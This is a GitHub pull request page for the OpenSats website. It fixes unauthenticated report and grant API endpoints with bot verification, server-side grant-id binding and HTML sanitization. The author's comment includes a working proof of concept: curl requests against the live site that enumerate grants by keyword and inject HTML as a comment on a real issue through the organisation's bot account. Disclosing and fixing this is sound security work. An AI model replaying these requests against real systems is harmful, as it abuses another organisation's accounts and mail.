Skip to content

Fix report and grant endpoints: bot verification, grant-id binding, HTML sanitization - #919

Open
1440000bytes wants to merge 8 commits into
OpenSats:masterfrom
1440000bytes:fix/turnstile-report-grant-endpoints
Open

Fix report and grant endpoints: bot verification, grant-id binding, HTML sanitization#919
1440000bytes wants to merge 8 commits into
OpenSats:masterfrom
1440000bytes:fix/turnstile-report-grant-endpoints

Conversation

@1440000bytes

@1440000bytes 1440000bytes commented Aug 21, 2026

Copy link
Copy Markdown

The /api/report and /api/grant endpoints did not verify Cloudflare Turnstile, unlike /api/github and /api/sendgrid. /api/report also trusted the issue_number and email from the request body and rendered report content into the confirmation email without sanitization. /api/grant matched the submitted value as a substring of any issue title or body, so it could be used as a keyword search over the reports repo.

Together this let an unauthenticated caller create comments on arbitrary issues in the reports repo under the server GitHub token, send mail from the verified sender with attacker controlled HTML, and enumerate grant metadata.

Changes

  • Gate /api/report and /api/grant on assertTurnstile, matching /api/github and /api/sendgrid. Wire the existing TurnstileWidget into the grant validation form and the report preview step so the legitimate flows keep working.
  • Resolve the report target issue server side from grant_id through a shared findGrantIssue helper. /api/report no longer trusts a client supplied issue_number, and an unknown grant id returns 404 with nothing written.
  • Restrict grant lookup to exact numeric grant ids and match them as a whole token in the issue title. Non-numeric input returns 400 and an id that only appears in an issue body returns 404, so the lookup can no longer be used as a keyword search over the reports repo. findGrantIssue enforces this for both endpoints.
  • Sanitize the report content in the confirmation email with sanitize-html, so raw HTML, scripts, event handlers, and javascript: links are stripped.

Note: The confirmation email is still sent to the address in the request body. There is no verified email of record to bind it to, so restricting or removing that send is a maintainer decision. The options are to drop the external confirmation email or to send only to an on file address. Closing enumeration fully would need a second factor such as a grant_id and email match on record, or higher entropy grant ids.

@vercel

vercel Bot commented Aug 21, 2026

Copy link
Copy Markdown

@1440000bytes is attempting to deploy a commit to the OpenSats Team on Vercel.

A member of the Team first needs to authorize it.

@1440000bytes

1440000bytes commented Aug 21, 2026

Copy link
Copy Markdown
Author

Proof of concept

$ curl -X POST https://opensats.org/api/grant   -H 'Content-Type: application/json'   -d '{"grant_id": "cashu"}'

{"valid":true,"project_name":"946366 - Cashu-TS and Cashu.me","issue_number":361}
$ curl -X POST https://opensats.org/api/report \
  -H "Content-Type: application/json" \
  -d '{
    "project_name": "946366 - Cashu-TS and Cashu.me",
    "own_words": "<h1 style=\"color:red\">PoC: unauthenticated injection</h1><a href=\"https://example.com\">link</a>",
    "time_spent": "test",
    "next_quarter": "test",
    "money_usage": "test",
    "issue_number": 361,
    "email": "alicexbt@protonmail.com"
  }'

{
  "success": true,
  "report": {
    "url": "https://api.github.com/repos/OpenSats/reports/issues/comments/5366307856",
    "html_url": "https://github.com/OpenSats/reports/issues/361#issuecomment-5366307856",
    "issue_url": "https://api.github.com/repos/OpenSats/reports/issues/361",
    "id": 5366307856,
    "node_id": "IC_kwDOLkCjgs8AAAABP9tcEA",
    "user": {
      "login": "OpenSatsBot",
      "id": 204785256,
      "node_id": "U_kgDODDTGaA",
      "avatar_url": "https://avatars.githubusercontent.com/u/204785256?u=f551bde16e8746f70f8bf0b0c5884233af3eecc8&v=4",
      "gravatar_id": "",
      "url": "https://api.github.com/users/OpenSatsBot",
      "html_url": "https://github.com/OpenSatsBot",
      "followers_url": "https://api.github.com/users/OpenSatsBot/followers",
      "following_url": "https://api.github.com/users/OpenSatsBot/following{/other_user}",
      "gists_url": "https://api.github.com/users/OpenSatsBot/gists{/gist_id}",
      "starred_url": "https://api.github.com/users/OpenSatsBot/starred{/owner}{/repo}",
      "subscriptions_url": "https://api.github.com/users/OpenSatsBot/subscriptions",
      "organizations_url": "https://api.github.com/users/OpenSatsBot/orgs",
      "repos_url": "https://api.github.com/users/OpenSatsBot/repos",
      "events_url": "https://api.github.com/users/OpenSatsBot/events{/privacy}",
      "received_events_url": "https://api.github.com/users/OpenSatsBot/received_events",
      "type": "User",
      "user_view_type": "public",
      "site_admin": false
    },
    "created_at": "2026-08-21T06:59:04Z",
    "updated_at": "2026-08-21T06:59:04Z",
    "author_association": "MEMBER",
    "body": "# 946366 - Cashu-TS and Cashu.me - Progress Report\n\n**TLDR:** <h1 style=\"color:red\">PoC: unauthenticated injection</h1><a href=\"https://example.com\">link</a>\n\n## Time Spent\ntest\n\n## Plans for Next Quarter\ntest\n\n## Use of Funds\ntest\n\n",
    "reactions": {
      "url": "https://api.github.com/repos/OpenSats/reports/issues/comments/5366307856/reactions",
      "total_count": 0,
      "+1": 0,
      "-1": 0,
      "laugh": 0,
      "hooray": 0,
      "confused": 0,
      "heart": 0,
      "rocket": 0,
      "eyes": 0
    },
    "performed_via_github_app": null,
    "minimized": null,
    "pin": null
  }
}

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant